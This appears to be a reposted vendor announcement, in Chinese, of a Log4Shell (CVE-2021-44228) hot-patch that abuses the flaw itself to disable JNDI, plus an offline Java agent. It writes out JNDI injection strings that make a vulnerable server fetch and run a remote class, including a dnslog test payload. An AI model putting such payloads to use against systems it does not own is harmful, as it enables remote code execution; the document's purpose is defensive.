站长之家用户 - 传媒 2021-12-15 08:48

利用漏洞修复漏洞:青藤提供毒日志【免重启】在线热补丁已上线!

史诗级的漏洞CVE-2021- 44228 爆发以来,各安全厂商提供了各种漏洞检测工具,也提供了各种漏洞修复方案。但是在修复过程中遇到无尽的坑,比如更新版本需要重启服务也不见得那么方便,改代码需要一定周期,临时修复方法错误(系统环境变量未生效),Log4j2.0-2. 10 版本无临时修复方案,jdk升级高版本存在bypass且仍然可以造成信息泄露等。

鉴于以上问题,青藤推出在线&离线临时修复方案,帮助大家迅速修复漏洞,度过“修改代码->测试->上线正式升级版本”这段时间差,避免发生实际损失。

Log4jPatch原理

Log4jPatch利用本次 Log4j漏洞本身的任意代码执行能力,将 Payload注入到目标 Java进程中,通过反射调用,禁用了 Log4j对 jndi的支持,使得后续对该漏洞的利用无效,完成漏洞修复,总而言之,就是利用漏洞把漏洞补上。

Log4jPatch造成的影响

1.Log4j无法使用jndi,如果Log4j业务使用了jndi那么就会受到影响(这样的程序员就应该被安全工程师吊起来打)。

2.由于注入到目标 Java进程中的 Payload极小(Log4jPatch修复方法

1.如何使用青藤的Log4jPatch在线补丁服务

1. 1 修复人员在漏洞注入点(如用户名、搜索框、前端站点表单字段等等漏洞的触发点,不需要提供给青藤),把注入payload修改为:${jndi:ldaps://cve-2021-44228.qingteng.cn:8443/patch}。

1. 2 存在漏洞的业务会到cve-2021-44228.qingteng.cn去远程加载class文件,把jvm虚拟机中的jndi给禁用。

1. 3 修复验证:按照之前查找验证存在漏洞的方式进行测试,比如${jndi:ldap:xxxxx.dnslog.xxcnxx/exp},漏洞验证不成功则说明漏洞修复成功。

验证demo

patch前后效果对比

patch前,利用漏洞访问1.5gwpt7.dnslog.cn成功;patch后,利用漏洞访问2.5gwpt7.dnslog.cn失败;手动访问 curl3.5gwpt7.dnslog.cn成功,证明 dnslog有效(附时间戳证明连续性)。

2.如果业务无法访问互联网服务,还可以使用青藤提供的离线jar包进行热修复

jar包修复原理:利用 JVM提供的 Instrumentation API来更改加载到 JVM中的现有字节码,https://docs.oracle.com/javase/6/docs/api/java/lang/instrument/Instrumentation.html。在不重启Java进程的情况下,修改org.apache.logging.log4j.core.lookup.JndiLookup类的lookup方法,固定返回Patched JndiLookup::lookup()。

2.1https://cve-2021-44228.qingteng.cn/patch/jar/cve-2021-44228-qingteng-patch.tar.gz地址下载Log4jPatch的jar包。

2.2 Log4jPatch的jar包上传到存在漏洞的服务器,然后执行命令。

Linux:传到服务器,然后解压,cd进入到解压后的cve-2021-44228-qingteng-patch目录,参考 README.md,执行 attach.sh。

attach.sh例子

●./attach.sh不带pid将使用jps列出此机器上所有java进程,然后输入行号选择进程来进行注入修复,输入all将会注入所有列出的java进程。

●可输入多个,空格分割。

windows:

●双击 attach.bat,然后输入java进程pid

●或者cmd命令行里传入pid,例如: attach.bat pid

2. 3 离线的修复验证:按照之前查找验证存在漏洞的方式进行测试,如:burpcollaborator进行验证,漏洞验证不成功则说明漏洞修复成功。

注意:使用以上两种修复方式需要您拥有系统的所有权,并且理解修复的原理和方法。

FAQ:

Q:青藤怎么保证修复方式安全可靠?

A:

1.青藤完全不需要您提供业务的漏洞细节,这完全掌握您的手中,我们并不清楚也不需要具体的注入点;

2.源码开源,项目地址:

https://github.com/qingtengyun/cve-2021-44228-qingteng-online-patch和https://github.com/qingtengyun/cve-2021-44228-qingteng-patch;

3.开源项目中提供了所用到的class文件和jar包文件的hash值;

4.到https://cve-2021-44228.qingteng.cn/patch/class/patch.class和https://cve-2021-44228.qingteng.cn/patch/jar/cve-2021-44228-qingteng-patch.tar.gz下载class文件和jar包进行对比。

Q:青藤patch修复之后就永久生效么?

A:只要不重启服务,该方式可以一直生效,一旦您重启了服务,需要再次对注入点打patch,直到代码级修复上线。

Q:青藤提供的修复支持的java版本是多少?

A:在线修复patch支持JDK版本6、7、8、9、10、11,离线修复的支持JDK版本6、7、8、9、10、11。

Q:我不知道注入点在哪里,但是引用了Log4j,能使用青藤的修复补丁么?

A:可以,使用离线jar包不需要提供注入点,只需要知道进程id。

Q:我不知道我有没有用Log4j,你能帮我看看么?

A:关注公众号「青藤技术服务」,点击《一夜没睡的你,需要快速了解主机资产》了解详情。

相关话题

特别声明:以上内容(如有图片或视频亦包括在内)均为站长传媒平台用户上传并发布,文章为企业广告宣传内容,本平台仅提供信息存储服务,对本页面内容所引致的错误、不确或遗漏,概不负任何法律责任,相关信息仅供参考。任何单位或个人认为本页面内容可能涉嫌侵犯其知识产权或存在不实内容时,可及时向站长之家提出书面权利通知或不实情况说明,并提供身份证明、权属证明及详细侵权或不实情况证明(点击查看反馈联系地址)。本网站在收到上述法律文件后,将会依法依规核实信息,沟通删除相关内容或断开相关链接。

推荐关键词

24小时热搜

查看更多内容

大家正在看